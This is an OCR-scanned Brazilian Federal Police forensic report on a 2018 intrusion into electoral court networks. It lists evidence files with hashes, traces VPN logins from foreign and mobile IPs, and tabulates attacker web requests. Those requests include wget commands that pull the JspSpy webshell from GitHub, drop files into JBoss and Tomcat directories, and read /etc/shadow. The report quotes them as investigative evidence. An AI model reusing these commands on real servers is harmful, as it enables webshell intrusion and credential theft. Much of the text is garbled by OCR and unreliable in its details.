Banhos e também do Coordenador de Infraestrutura, Cristiano Andrade, que possivelmente é a pessoa
descrita na reportagem como ligada ao Secretario de Tecnologia da Informacao, Giuseppe Janino.

Ao tomar conhecimento da reportagem, esta equipe buscou verificar como o acesso aos codigos
fontes da uma poderia ter ocom'do, uma vez que as fontes ficam annazenados em um servidor
protegido.

Durante esta pesquisa foi localizado 0 servidor 10.30.1.229, que possui um portal da Secao de Voto
Inforrnatizado, SEVIN. Neste portal havia a indicacao de link de dois servidores de integracao
continua, um em Windows e outro em Linux, conforme imagem abaixo. A
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Fi.$3.

' ' * * * * " *" I

Vocé esta no servidor tsesevin-01 da SEVIN I

Servigos disponiveis

Cl wire ssvm - Prigina da base dc conhecimento do SEVIN
i? V_ _ _ . V . _ i.

Lfalkgilefant SEVIN - Pzigina dc planejamento da SEVIN I
I.

Q \‘Iiindo\\'s < Jenkins - Servidor dc Build das aplicncoes Windoivs N
I

r " ** * *“***' "*'*
Linux - Jenkins - Servidor dc Build das aplicaqfies Linux

1’ 7 T 7 I 7 7‘

J Verificador de arquivos hash
l

q@ll\y‘g¥e'nDocumemacio do projeto UENUX I
_i

T 7 7 7 7 7 77 7 77 7 7 7 7 7
Documemaqfio do projeto GEDAI-UE I

Documemagfio publicada rm SEVIN

v DOXGEN SAVP ~ Documentagio gerada pelo doxgcn dos fontes do SAVP
1 DOXGEN LIBDESKTOP - Docurnenmcio gerada pelo doxgcn dos fontes da LIBDESKTOP

I DOXGEN LIBSEVIN - Docummmgio gcrada pelo doxgen dos fonts da LIBSEVIN

Servicas Dasarivadns

0 UENUX - build3\v - Pzigina dc acompzmlrameuto do Builder do UH\’UX - DCSfll1\‘3(.IO
I XPlannu' SEVIN - Pégina de planejamento da SEVEN - Desativado a panir 2011

I Desktop - CruiseControl - Scrvidor de Build das aplimgées Windows
~ Desktop - DashBoard - lnlerfiice grafica do Servidor de build Windows

~ Linux - CruiseConu"ol - Suvidor dc Build das aplicaqées Linux
~ Linux - DashBoard - Interface grafica do Serviclcr dc build Linux

Estes equipamentos eram responsaveis pela compilacao dos soitwares, em sua versfio Windows e na
versao Linux. Em execucao neste equipamento estava 0 Jenkins, configurado pela propria equipe da
Sevin e sem qualquer autenticacao. Este servidor estava acessivel para toda a rede e permitia a copia
de do codigo fonte. O conteudo das informacoes ali dispostas bate com o apresentado na reportagem.

Por fim, também foram apresentados na reportagem documentos e outras infonnacfies constante em
contas de e-mail, o que também foi acessado de maneira indevida, a partir de abril.

W/~=.4.=~.-':‘..MW .

..gr1u1\%
. . 01"» 0
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SERVICO PUBLICO FEDERAL

MJSP - POLICIA FEDERAL
c00RDENA<;A0-GERAL DE POLICIA FAZENDARIA

SERVICO DE REPRESSAO A CRIMES CIBERNETICOS

INFORMACAO N” 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF

DO: PCP FLAVIO SILVEIRA DA SILVA
PARA: Chefe do GRCC/DRCOR/SR/PF/DF
ASSUNTO: RELATORIO DE ANALISE DE ALTA TECNOLOGIA

Senhor Chefe,

A presente Informagao trata das informagées encaminhadas pelo Tribunal Superior

Eleitoral, referentes ao processo SEI n° 08200021554/2018-33, sobre possivel invasao aos

sistemas informatizados daquele Tribunal.

Foram encaminhadas a esta UTC/SRCC/CGPFAZ/DICOR/PF 02 (duas) midias

digitais, descritas abaixo:

0 ITEM 01:

01 (um) disco rigido extemo, marca MULTILASER, cor prata, com capacidade

nominal de 120GB; '

0 ITEM 02:

O1 (um) pendrive sem marca aparente, cor preta e prata, com capacidade nominal

de 8GB.

O item 01 continha os seguintes arquivos listados abaixo:

 I
\\c2i89eae-bd75-4a78-99e0-414aecb26lal .rar 2868 6a2e28¢88a821 f7¢13f¢34°5e8O2
\\SySlOg_sOnicWall_tar_gZ €8 f2a64 51b7 3d4 €9b554 ad36flbef7 Of

\\tremhack.Zip e8f2a64 51b73d4e9b554ad36f1bef70f

\\u5I-_digitI-o_tar_gZ fl 6e5d5cc336lO4 0dab7 O8 fd8ec0cfO9
\\ad0e9b60-bbbl-4dbf-87a5-96a2d2edb317.rar I 87298 0¢3a361b4 Oda94 230‘-?'a873f}@1<4i:O»

( 1 I)
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INFORMACAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuaeao)

Segundo infonnaeoes fornecidas pelo TSE, os arquivos “syslog_sonicwall.tar.gz”

e “usr_digitro.tar.gz” contem registros de log defirewall oriundos da rede de computadores do

TRE/PB. O arquivo “trernhack.zip” contém uma imagem de maquina virtual oriunda do

TRE/RN, o qual poderia ser o primeiro ponto de entrada nao autorizado a rede dos TREs / TSE.

Ja 0 arquivo “c2589eae-bd75-4a78-99e0-lll4aecb26lal.rar” contém uma imagem dc disco

usada por maquina virtual (VMDK). N50 foi possivel abrir 0 arquivo “ad0e9b60-bbbl-4dbf-

87a5-96a2d2edb3l7.rar” para verificar seu conteudo.

A Ja 0 item 02 apresentava os seguintes arquivos:

 §
mi

2% 3'88‘
~%»§

water?»
98258? @228" Ea

E =-
\\cristiano andrade\Autentica<;5o_04.xls ' 88 8 2 1 7 838 5 f8 2 82 88 8888 8 9 7 8 98 5 1 1 2 2

\\cristiano andrade\Autentica<;5o_05.xls 82251 4 8988 58988881872 9 1 4 88fff882

\\cristiano andrade\Autenticag:€.0_O6.xls 85888 f884 99381817 4 3 88 f7 18 8559998

\\cristiano andrade\Autentica<;2"1o_07.xls 55885 92 5889188 8857810 5838885318 1

\\cristiano andrade\Autenticag:a0_08.xls 54 2828 388125 97 8 5 88888831881282 58

\\cristiano andrade\Autentica<;ao_09.xls 7 4834 81818ff98f8 1838395891 9888 88

\\cristiano andrade\Autentica<;ao_10.xls 87 8818881381388334 88887 19588 97888

\\cristiano andrade\Autenticag:5o_l l.xls 78888058 8782888f32 878 181 98 1839988

\\cristiano andrade\C0rreioEletronico_O5.xls 7888839288388 388 1 8 889882 1 37 53887

\\cristiano andrade\CorreioEletronico O6.xls 8f85882883887 287 88888584 38887858

\\cristiano andrade\CorreioEletronico_07.xls 883898888128 82 8 84 258 184 38f18884 3

\\cristiano andrade\CorreioEletronico_08.xls 88894 38f8858558 98881 980f8885888f

\\cristiano andrade\CorreioEletronico_09.xls 8 81 8 8 5 88f 3 888 5 8 4 38 8 4 8 82 388f888 4 8

\\cristiano andrade\CorreioEletronico_10.xls 9 8 3 7 f 8 8 f 8 985 888 8 9 O 1 1 5 3 5888387 f 3 2

\\cristiano andrade\CorreioEletronico_l l.xls A 8982 4812888888 99581898487 883 f58 f

\\cristiano andrade\Detalhe do Firewall - b73fd2f4- 888324 98987488958783857123258888

bl 5e-4fe7-8d9d-a834fe6f497b.JPG ‘
\\cristiano andrade\IMG_808O - Dialogo Marcelo 98381882885 44 8188487 9888878 f8888

Carneiro (chefe da rede) com Cristiano Andrade

(Coordenador de Infraestrutura).PNG /

2
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INFORMACAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOIUPF (continuagao)

\\cristiano andrade\IMG_808l - Dialogo Marcelo

Cameiro (chefe da rede) com Cristiano Andrade

(Coordenador de Infraestrutura).PNG

c2061f61862a348b2ceecO297d735e9b

\\cristiano andrade\ServidorDeArquivos_O5 .xls 5fO08a40c290f6fl2lO9b9f06b77eade

\\cristiano andrade\ServidorDeArquivos_O6.xls ad2053c5f56b84260504254d6280c23e

\\cristiano andrade\ServidorDeArquivos_O7.xls 8271795998382l78b7039d2c9cel852d

\\cristiano andrade\ServidorDeArquiv0s_08.xls lfb6bc3045l6b43ae2ldc74cfOd34dlb

\\cristiano andrade\Sen/idorDeArquivos_09.xls a4b72e7792bObe607e133289b7383b27

\\cristiano andrade\ServidorDeArquivos_10.xls 85d5e74799013a86dfd7e900379c6a3f

\\cristiano andrade\ServidorDeArquivos_1 l.xls 2013c6lOdO363292cb9667e6b864dd1d

\\cristiano andrade\Tela do Firewall - 7a4778bb-

0ce7-484b-b824-ael6cdf937b7.JPG

C49e95d0d73099866358de89253f965b

\\sergio-banhos\Autenticag:5o_06-09.xls 8l3acce95c5fda7adO9086d9d3ed780e

\\sergio-banhos\CorreioEletronico_05-1.xls e4626c96356a92381dce77242b2791bf

\\sergio-banhos\CorreioEletronico_05-2.xls de179923cOcd479a5al48l64651fe83c

\\sergi0-banhos\CorreioEletronico_06-l .xls f17f0dc2dd38ddOc3cfdfO29f0b16c65

\\sergio-banhos\CorreioEletronico_06-2.xls 6f99efda95e9ba027d3dbfe4731cb7b8

\\sergio-banhos\CorreioEletronico_07-l .xls 833be5e47704d2ef4f7f35dde6c58c1d

\\sergio-banhos\CorreioEletronico_O7-2.xls 9dcO565l5de02f22aeaac6bO2eb6eOl5

\\sergio-banhos\CorreioEletronico_08-1 .xls O9f66a3lacd97b4a3cc38868c568a9e7

\\sergi0-banhos\CorreioEletronico_O8-2.xls bae9fO4b58644dO416558l36b622137c

\\sergi0-banhos\CorreioEletronico_O9-1 .xls 258526827c7bel2848acd4al7b54287b

\\sergio-banhos\CorreioEletronico_09-2 .xls 2l22e67ec37f41a9409b51bf1aab9c34

\\sergio-banhos\C01reioEletronico_1 O-1 .xls lce46beed98ce04lfedOb921643004fe

\\sergio-banhos\CorreioEletronico_l0-2.xls allfllf1ce68f97990b37308ab5d47b7

\\sergio-banhos\CorreioEletronico_l l.xls 884dC3130ab7e92296f1356alc4l5a43

\\sergio-banhos\ServidorDeArquivos_05-08 .xls 640a302ddOc652bb5bld60bdc6f4d2e9

\\sergio-banhos\ServidorDeArquivos_08-1 1 .xls d4b41d5d8cec8b39796e7862e6ec9b81

\\sergio-banhos\Visita Varonis 9-l l-
20l8\Autenticag:5o do AD no contratumo l-abr_8-
nov.xls

ae68c731022bab7cO74f4a4fe3e4ab57

\\sergio-banhos\Visita Varonis 9-l 1-201 8\Eventos
no AD 1 -abr_8-nov.xls

73d3732882aO6a7fac5a9a6caO612a39

~ Llbl
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INFORMACAO N° O02/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuagao)

\\sergio-banhos\Visita Varonis 9-l 1-201 8\Mailbox

Logon l-abr_8-n0v.xls

c3f89c998d26e724c0cfb5674c4b83be

\\rodrigo coimbra\Autenticae5o_O5-07.xls e47a927fb63929ca8l3e4b20fld53737

\\rodrigo coimbra\Autenticag:?1o_08-09.xls eb5cc2614406526de9aOdd22fe7b13e5

\\rodrigo coimbra\Autenticae:?1o_1 0- l 1 .xls 8338b2dde18df5d6f2fb66caef4754cd

\\rodrigo coimbra\CorreioEletronico_O5.xls a5ld6445lce381ea5eeb385l99bf4d38

\\rodrigo coimbra\CorreioEletronico_O6- l .xls d5b47c50a2lfa6fddd53be7362cbOc47

\\rodrigo coimbra\CorreioEletronico_O6-2.xls 2787c6bb92f6f30alab3ld9c74883565

\\rodrigo coimbra\CorreioEletronico_06-3.xls aO1f7204e5908b30eb9f702d79645d46

\\rodrigo coimbra\CorreioEletronico_07-2.xls 416e59935ff3259ffd3cb4bbf7c862f8

\\rodrigo coimbra\CorreioEletronico_07-3.xls 8230340892072de90lceded9el681990

\\rodrigo coimbra\CorreioEletronico_07.xls 238ff3326050l2d706d1526a83lb359e

\\rodrigo coimbra\CorreioEletronico_08.xls 2b0766becb58b6lec4a91d0de1138bac

\\rodrigo coimbra\CorreioEletronico_O9.xls 50bd84dO8dbb85976604l753a930413d

\\rodrigo coimbra\C0rreioEletronico_10.xls bb9af6ceb84cd9e791254df2a88acl6f

\\rodrigo coimbra\CorreioEletronico_1 l.xls ee8e6af7c154132la90afOa3a684734a

\\rodrigo coimbra\ServidorDeArquivos_05-1 1 .xls 77521cc96aeae2064d2bcfdce8672179

\\RELAT(§RIO.docx ‘ f007b5lOf4d3l65456926548bc9bde37

Os arquivos do item 02 com extensfio “xls contem registros de logs de autenticaefio,

correio eletronico e servidor de arquivos dos usuarios “Sérgio Banhos”, “Rodrigo Coimbra” e

“Cristiano Andrade”. Também foram encaminhadas imagens de capturas de tela, be 6

um relatorio produzido pelo TSE para auxiliar na elucidaeao dos fatos. '

4
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INFORMACAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuaeao)

ANALISE

No escopo deste Relatorio, foram analisados 0 arquivo do item 01

“usr_digitro.tar.gz”’ e os arquivos do item 02 com extensao “xls”, exceto aqueles presentes na

pasta “\\sergio-banhos\Visita Varonis 9-11-20l8”. Para isso, tais arquivos foram tratados,

indexados e analisados por meio das ferramentas ElasticSearch, Logstash e Kibana (ELK).

Foi necessario converter os arquivos “xls” para a extensao “csv”, para que

pudessem ser importados pelas ferramentas supracitadas. Vale ressaltar que alguns arquivos

“xls” apresentavam cabeealhos com campos diferentes, e que algumas linhas desses arquivos

nao correspondiam ao padrao observado no cabegalho, provavelmente devido a presenea de

caracteres especiais nao tratados.

Apos a importaeao dos referidos arquivos de log, foram geradas visualizaefies na

ferramenta Kibana, que pennitiram ter uma viséo geral dos dados fomecidos, resultando nas

anélises a seguir:

0 ITEM 01:

O arquivo “usr_digitro.txt”, extraido do arquivo “usr_digitro.tar.gz”, continha

41.7l7.013 linhas de registro (“logs”), as quais foram importadas e posterionnente analisadas.

Os registros de log estao compreendidos entre os periodos de 02/04/2018 a

23/04/2018.

Entre as linhas importadas, verificou-se a existéncia de registros de acesso dos

seguintes usuarios:

USUARIO Y REGISTROS
digitro 41,716,898
TRE-PB\pedrofln 98
TRE-PB\mario 6
TRE-PB\airton
TRE-PB\sy1vio
TRE-PB\agmtargino

7 1 admm
O\LII-l>bJI\)>—-Qt

v-->—¢.|§(_/1

Nao foram detectadas anormalidades nos acessos dos usuarios 2 a 7. Em relaeao
ao usuario 1 (“digitro”), foram obtidos os 10 enderegos 1P de origem (campo “S?X1815 /

recorrentes nos registros analisados: __./
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18 1;; no TDTAL
10.l2.2.29 95.26936”/0
10.12.2.33 2,2063 7%
10.12.2.7 l,73838%
10.I2.2.3 9 0,77420%
191.252.64.20 0,01564%
10.12.2.4 1 0,00096%
195.140.215.13 0,00093%
10.12.40. 152 0,00024%
185.153.176.4 0,00022%
185.153.176.8 0,00020%

INFORMACAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOIUPF (continuaefio)

De pronto, é possivel perceber 0 grande numero de registros oriundos dos IPs

10.l2.2.29, 10.l2.2.33, 10.12.2.7 e 10.12.2.39, os quais, segundo informaefio do TSE,

O pertencem a rede do TRE/PB.

Foram realizadas pesquisas por enderegos IP de origem (campo “src”) que nfio

fossem reservados para intranets, obtendo-se o seguinte resultado apos a consulta VVh0is:

USUARIO “DIGITRO”
Organizaefio

Responsavel
Enderegto [P Data Inicio Data Término Pais

LOCAWEB '
--1? SERVICOS DE

INTERNET S/A
191 152164.20 17/04/201 8 21:46:26 18/04/2018 06:36:35 Brasil

HYDRA
COMMUNICATIONS
LTD

195.140.215.13 I7/04/2018 20:38:39 21/04/2018 15:02:57 Reino
Unido

185.153.176.4 17/04/201821:31:18 18/04/2018 19:12:14
185.153.176.5 18/04/2018 01:49:06 18/04/2018 02:19:32

NORDVPN-L1 I85.153.176.8 18/04/2018 02:25:21 18/04/2018 05:27:54

, TEFINCOM S.A. 185.I53.176.2 18/04/2018 02:37:52 I8/04/2018 02:56:54 Panama
185.153.I76.6 I8/04/2018 03:04:47 18/04/2018 03:13:54
185.I53.176.3 18/04/2018 03:20:35 18/04/2018 03:20:35
185.153.176.9 20/04/2018 10:50:23 20/04/2018 15:15:42

-,8 cLARo S.A. 201.81.167.53 18/04/2018 03:15:28 21/04/2018 08:36:42
201.6.129.235 18/04/2018 05:24:54 18/04/2018 05:48:59 Brasil

189.40.75.154 18/04/2018 18:56:14 18/04/2018 18:56:14
191.51.34.72 18/04/2018 19:02:05 18/04/2018 19:13:08
189.40.75.239 18/04/2018 20:45:41 18/04/2018 23: 14:54
177.219.117.183 18/04/2018 20:56:20 18/04/2018 20:56:20

__"4> TIM CELULAR S.A. 189.40.72.247 18/04/2018 22:21:17 18/04/2018 22:21 :17 Brasil
189.40.72.14 18/04/2018 22:23:14 18/04/2018 22:23: 14
189.40.91.135 18/04/2018 22:29:37 18/04/2018 23:14:52
189.40.90.239 19/04/2018 01:13:32 19/04/2018 01:13:32
189.40.90.253 19/04/2018 04:08:37 19/04/2018 04:08:37

6
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189.40.88.15 19/04/2018 08:11:15 19/04/2018 08:11:16
189.40.74.26 19/04/2018 16:23:05 19/04/2018 17:29: 14
186.253.177.212
189.40.73.163

19/04/201818:05:13
19/04/2018 19:16:40

19/04/201818:05:13
19/04/2018 19:16:40

l89.40.74.205 19/04/2018 20:43:37 19/04/2018 20:43:37
189.40.74.87 19/04/2018 22:37:00 19/04/2018 23:05:03
181.76.139.50 20/04/2018 01:20:59 20/04/2018 01:20:59
189.40.75.l22 20/04/2018 05:00:09 20/04/2018 05:00:09
189.40.88.94 20/04/2018 07:57:59 20/04/2018 09:40:30
189.40.73.91 20/04/2018 10:32:32 20/04/2018 10:32:32
189.40.72.49 20/04/2018 19:30:32 20/04/2018 19:30:32
189.40.88.233 20/04/2018 23:01: 19 20/04/2018 23:01:19
189.40.74.155 20/04/2018 23:56:23 21/04/2018 00:11:45
189.40.88.14 21/04/2018 01:39:43 21/04/2018 01:39:43
189.40.91.65 21/04/2018 06:55:36 21/04/2018 06:55:37
177.164.206.74 21/04/2018 07:52:19 21/04/2018 08:36:40
177.165.110.249 21/04/2018 10:01:29 21/04/2018 12:40:46
186.197.65.147 21/04/2018 12:56:05 21/04/2018 15:04:14

Os endereeos IP das organizaeées citadas foram utilizados em sua grande parte
para acessar 0 endereeo IP 187.33.236.165, nas portas 4433 (HTTPS/SSL) e 4500 (IPsec).

Tal endereeo esta registrado para o Tribunal Regional Eleitoral da Paraiba, e tais portas

indicam acesso por meio da VPN daquele orgfio.

Entre os endereeos IP de origem dos acessos, verificou-se a existéncia de IPs
localizados no exterior (NordVPN - httpsz//nordggncom e HYDRA COMMUNICATIONS

LTD) e pertencentes a empresa Locaweb e as operadoras de telefonia celular Claro e Tim no

Brasil.

Na pagina seguinte, pode-se visualizar uma linha de tempo com os acessos

endereeos IPs de cada um dos grupos supracitados:
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INFORMACAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuaeao) .
~ ~ 350

Também foram realizadas hbuscas por argumentos suspeitos, os quais poderiam
1

indicar o download de artefatos maliciosos para os computadores, chegando-se ao seguinte

resultado :

1 17/04/2018
22:04:48

10.12233
:17177:X1

% '" 2... :1 * 1/ X.’ 4 <'-4,... .\~- ~ I , j _ » W >3 . -. " . :~I it é 1‘ " .' 11' ’..';.»;:A"?~.'.‘-.- 3.821331»“"""8==2"3?"'1 s:N.@-4
10.12.0131
:8080:X0

/al’/pqp.j sp?comment=wget+hltps://raw.gith ubuserco
nte11t.com/tennc/webshelI/master/Isp/J . '

2 1 //04/201 8,
22:08:06

10. 12.2.33
:38665:X1

10.12.0.131
:8080:X0

/af/pqp.jsp?comment=wget+hItps://raw.githubuserco
ntent.com/tenno/webshelI/master/jsp/J

3 18/04/2018
00:21:54

10.I2.2.33
1 ;1906;x1

10.12.0.131
:8080:X0

/af/pqp.jsp?co1nmen7t=wget+|1ttps://raw.githubuserco
nte11t.co'm/tennc/websheII/master/jsp/.IspSpy.jsp

4 1 s/04/2018,
00:23:04

10.12.2.33
:13998:X1

I0.I2.0.I31
:8080:X0

/af/pqp._jsp?comment=wget+https://raw.githubuserco
ntent.com/tenno/webshel1/master/jsp/JspSpy.jsp

1:12; ~ 1 "1
-%1;ef=1§?1 :98

4.

N8210 112 2111 $4.5’
411. -. -a111.48@8%>:41~:==1:1~1.»:21.~1= 4288‘

W8: W

2%8 8:988“wk

21.1.:-. ...»:1.-~-<-=.='_.:.' i = A 1- = 4 11:: . ; .~; 1» = A. . .

-

af/pq*p"1sp?%om6m5e11t=8'get§hgp //191 282808; 9/1339“

6 18/04/2018
04:37:49

10.12.2.29
’ :52765:XI

31'

10.2.7092
:80:X0

_ 44. 1 1 .
/mywebserver/verific-aLoginUsuario.php?Nome=test
e&Senha=teste '

7 18/04/2018
22:34:14

10. 1 2.2.29
:52651:X1

10.5.2.56
:80:X0

/teste/dom Fu nctio11s.j s

8 18/04/2018
22:34:14 .

10.12229
:52652:X1

10.5.2.56
:80:X0

/teste/bo.\'over.js

9 18/04/2018
22:34: 14

10.12229
:50806:X1

10.5.2.56
:80:X0

/teste

10 18/04/2018
22:34:14

10.12229
’ :52650:X.1

10.5.2.56
:80:X0

/teste/padrao2lcss '_

11 18/04/2018
22:34:14

10.1 2.2.29
:52649:X1

10.5.2.56
:80:X0

/teste-/esti1os.css
4

12 I 8/04/2018
22:34:14

10.12229
3 :52648:X1

10.5.2.56
:80:X0

/teste/pad1'ao.css

13 18/04/2018
22:45:23

10. 12.2.29
:52907:XI

10.5.2.57
:8080:X0

/af/pqp.jsp?comment=wget+10.12.0.I31:8080/jmx-
con so1e/Browser.jsp.txt+- .- .
O+/opt/j boss/server/defauIt%

14 18/04/2018
22:46:18

10.l2.2.29
:589I9.:X1

10.5.2.57
:8080:X0

/at’/pqp.jsp?comment=wget+http://10.12.0. I3 1 :8080/
j1n.\'-conso1e/Browser.j sp.tx.t+-O+/opt/j boss/serv

I5 1 8/04/2018,
22:48:03

10. 1 2.2.29
:52246:XI.

10.5.2.57
:8080:X0

/af/pqp.jsp?comment=Command:+wget+11ttp://apps3
.t1"e--r11.jus.br/documentos/atas/config/Browse1'._is

)

‘ I1
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16 18/04/2018
22:48:37

10.5.2.57
:8080:X0

5_“',~ '1 » . * =18»: .' '1 . ‘Y . " 19* - . ~ ~"-11.‘

10 1° 2 29. 2. .2.
. "4 ..64>50.X1

4» .4m=.@»1~.2............--............_.. .... .- 4 4
/a1°/pqp.jsp?comment=wget+http://apps3.tre-
r11._ius.br/documentos/atas/config/Browse1'.jsp.txt+-
O+/op

17 18/04/2018
22:49:59

10.1 2.2.29
:57466:X1

10.52.57
:8080:X0

/af/pqp.jsp?comment=wget+http://apps3 .t1'e-
1:11.jus.br/documentos/atas/config/Browse1".jsp.txt+-
O+/op »

1.8 18/04/2018
23:13:04

10.1 2.2.29
:59208:X1

10.5.2.57
:8080:X0

/at‘/pqp.jsp?c»omment=wget+--h

19 I8/04/2018
23:42:07

10.l2.2.29
:60046:X1

10.52.63
:8080:X0

/af/pq p.jsp?comment=wget+http://apps3 .tre-
111.]us.br/documentos/atas/config/B1"owserjsp.txt+-
O+/op '

20 18/04/2018
23:55:10

10. 12.2.29
:52592:X1

10.52.66
:8080:X0

/af/pq p.jsp?co1nme11t=\vget

21 18/04/2018
23:56:07

10. I 2.2.29
:62863:X1

10.5.2.66
:8080:X0

/af/pqp.jsp?comment=wget+http://apps3.tre—
rn.jus.br/documentos/atas/config/Browse1'._isp.txt+-
O++/o

22 19/04/2018
00:17:37

10. 1 2.2.29
:50626:X'1

10.1.I.38
:8080:X0

/teste/B1'owser.j sp

23 19/04/2018
00:17:53

10.l2.2.29
1 :50622:X1

10.11.38
:8080:X0

/teste/JspSpy.jsp?0=upload

24 19/O4/2018
00:19:31

10. 12.2.29
:50627:X1

1’0.1.1.38
:8080:X0

/teste/pqp.jsp?comme11t=locate+jmxproxy

25 19/04/2018
00:20:00

10.124229
:50631:X1

10.1.1.38
:8080:X0

/teste/Browse1'.j sp?so1t= 1 &ed itfi 1e=/etc/shadow

, 26 19/04/2018
00122106

0 . .

10. 12.2.29
:50637:X1

10.|.1.38
:8080:X0

/teste/B1'owser.j sp

27 19/04/2018
00:31:21

10. 12.2.29
:50875:X1

10.1.I.38
:8080:X0

/teste/Browser.j sp‘?so1t= I &d ir=/us1"/ Ioca1/apac11e--
tomc-at-6.0.35/webapps/asi .

00:37:01
28 19/04/2018, 10. 1 2.2.29

:50878:X1
10.1.I.38
:8080:X0

/teste/B1"owser._)sp?sort=1&di1‘=/usr/locaI/apacI1e-
tomcat-6.0.3 5/webapps

00141113
29 19/04/2018, 10. 12.2.29

:51035:X1
10.1.I.38
:8080:X0

/1€S'[€/B1‘OWS€l'._I sp‘?so1’1=1 &d i r=/usr/I0ca1/apache-
to111cat—6.0.3 5/webapps/tcste p

00:41:37
30 I9/04/2018, 10. I 2.2.29

:5 I036:X'I
10.11.38
:8080:X0

/teste/B1'owser.jsp?so1t=1&di1'=/usr/|ocaI/apache-
tomcat-6.0.35/webapps/teste .

00:46:32
31 1.9/04/2018, 10. 12.2.29

:51044:X1
10'.1.l.38
:8080:X0

/16510/B1‘OWS€l‘.j sp?so11= 1 &d ir=/us1'/1oca1/apache-
tomcat-6.0.3 5/webapps Z

~ A
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.1'~"~ ~ ~ 1-4;, ,1.,..0_
'1 .1, 3. 41 4.<~.*~ ..»\ .,.

2881 28% "~ “ - ',;<<...,.,, ,. , V A ,.,‘

32
04:16:22 '

. ~

:51282:X1

441.4 ....8~../81:...  %mm 1.1..%&.4..»..8~%%1.2;/Y‘; .%4§.8 284.8814 84,8488 .2 8.... 44$ 4 4
19/04/2018 1017229 101138 " '

:8080:X0
/teste/JspSpy.Jsp

33
04:19:39
19/04/2018, 10.12229

:59739:X1
10.1.1.38
:8080:X0

/teste/JspSpy.jsp

34
04:24:24
19/04/2018, 10.12229

:585l1:X1
10.1.1.38
:8080:X()

/teste/.IspSpy.jsp

35
04:28:34
19/04/2018, 10. 12.2.29

:58475:X1
192168.204
.48
:8080:X0

/teste-cluster

36
05:53:36
19/04/2018, 10.12229

:55899:X1
I0.I.1.127
:8080:X0

/teste/.IspSpy._i sp?o=v Login

37
05:54:05
19/04/2018, 10. I 2.2.29

:539I8:X1
10.1.|.127
:8080:X0

/teste/JspSpy.jsp

38
05:55:33
19/04/2018, 10.1-2.2.2.9

. :60277:X1
10.1.1.I27
:8080:X0

/teste/JspSpy._isp.

39
05:57:45
19/04/2018, 10. 12.2.29

:59960:XI
10.1.I.127
:8080:X0

/teste/JspSpy.jsp

40
05:58:14
19/04/2018, 10.12229

:52540:X1
I0.I.1.127
:8080:X0

/teste/I spSpy._i sp

41
05:58:36
19/04/2018, 10.1.2229

:60747:X1
10.1.|.127
:8080:X0

/tesre/.1spSpy._jsp

42
06:00:33
19/04/2018, I0. 12.2.29

:60406:X1
10'. 1.1.127
:8080:X0

/teste/Browse1‘.jsp?Javasc1'ipt

43
06:00:36
19/04/2018, 10.12229

:53714:X1
10.1.|.127
:8080:X0

/teste/.IspSpy.jsp

44
06:01:30
I9/04/2018, 10. 12.2.29

:55975:X1
10. I . 1.127
:8080:X0

/teste/Browse1".jsp?so11=1 &dIr=/usr/share/tomcat6/w
ebapps/sadAd‘mS RI-ISP

45
06:06:40
I9/04/2018, 10. 12.2.29

:61734:X1
10.1.|.127
:8080:X0

/teste/B1'owser.j sp?so1*t=1 &di1'=/usr/share/tomcat6/w
ebapps/sadAdmSR1-ISP

46
06:07:46
19/04/2018, 10.12229

:58985:Xl
10.1.I.127
:8080:X0

/teste-/JspSpy._isp

47
06:08:42
19/04/2018, 10.12229

:57462:XI
10.1.1.127
:8080:X0

/teste/JspSpy.jsp

48 19/04/2018
06:08:56

10. 12.2.29
:56322:X1

10. 1.1.127
:8080:X0

/teste/J spSpy.j sp '
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I # DATA ORIGEM m:sT1No ARGUMENTO

49 19/04/2018.
06:09:36

10.12229
:59858:X1

10. 1.1.127
:8080:X0

/teste/.1spSpy.jsp

50 19/04/2018,
06:09:40

10. 1 2.2.29
:50962:X1

10.1.|.127
:8080:X0

/teste/Browser.j sp?so11= 1 &d i r=/usr/s11are/tomcat6/w
ebapps/sadAd1nSRHSP/WEB-INF

51 19/04/2018,
06:10:03

10. 12.2.29
:54888:X1

10.1.|.127
:8080:X0

/teste/.1spSpy.jsp

52 19/04/2018,
06:13:41

10. 1 2.2.29
:58852:X1

I0.1.1.127
:8080:X0

/teste/Browser.jsp?so1t=1 &d 1 1'=/usr/s11a.re/tomcat6/w
ebapps

53 19/04/2018
06:15:18

10.l2.2.29
16461 8:X1

10.1.1.127
:8080:X0

/teste/B1'owser.jsp?sorF1&di1'=/var/www/htmI/piwi
k

54 19/04/2018
06:15:49

10. 12.2.29
:52485:X1

10.1.1 .127
:8080:X0

/teste/images/1ogo.png

.55 19/04/2018,
06:15:50

10.12229
:50869:X1

10.1.|.127
:8080:X0

/teste/images/logo.png

56 19/04/2018-,
06:16:17

10. 12.2.29
:50773:X1

10.1.I.127
:8080:X0

/'[€S'[€/B1"O\’VS€1'._jSp?SO1'1=1&'I7I1€=/V31‘/WWW/111fT1I/111C1€
x.htm1

57 1 9/04/201 8,
06:17:02

10. I 2.2.29
149621 :X1

10.1.|.127
:8080:X0

/teste/B1'owser.jsp?so11=1&di1:=/var/www/htmI/tresp
commons\-veb-api/src

58 19/04/2018
06:17:02

10. 12.2.29
:56235:X1

10.1.|.127
:8080:X0

/teste/1ib/air/servicemonitor.swf

59 1 9/04/201 8,
06:17:02

10. 12.2.29
:56232:X1

10.1.|.127
:8080:X0

/teste/lib/air/AIRLoca1izer.js

60 I9/04/2018
06:17:02

I0. 12.2.29
:56234:X1

10.1.|.127
:8080:X0

/tester/lib/air//-\1RSou1"ceViewer,is

61 19/04/2018,
06:17:02

10. 12.2.29
:56233:XI

10.1.1.127
:8080:X0

/teste/Iib/air/AIRMen11BuiIde1".js

62 19/04/2018
06:17:03

10. 1 2.2.29
:56236:X1

10.1.1.127
:8080:X0

/teste/I ib/air/appl icationupdatenswf

63 19/04/2018
06:17:40

10. 12.2.29
:50402:X1

10.1.|.127
:8080:X0

/teste/B1-owse1".jsp?so1't=1 &t'1Ie=/var/w\-vw/|1t1n1/tresp
commonsweb-api/index.php

64 19/04/2018
06:18:27

10.l2.2.29
:63586:X1

I0. 1.1.127
:8080:X0

/teste/assets/css/Print.css

65 19/04/2018,
06:18:27

10.l2.2.29
:63585:X1

10.1.|.127
:8080:X0

/teste/assets/css/APIB1"owser.css

Q(Z'7/I
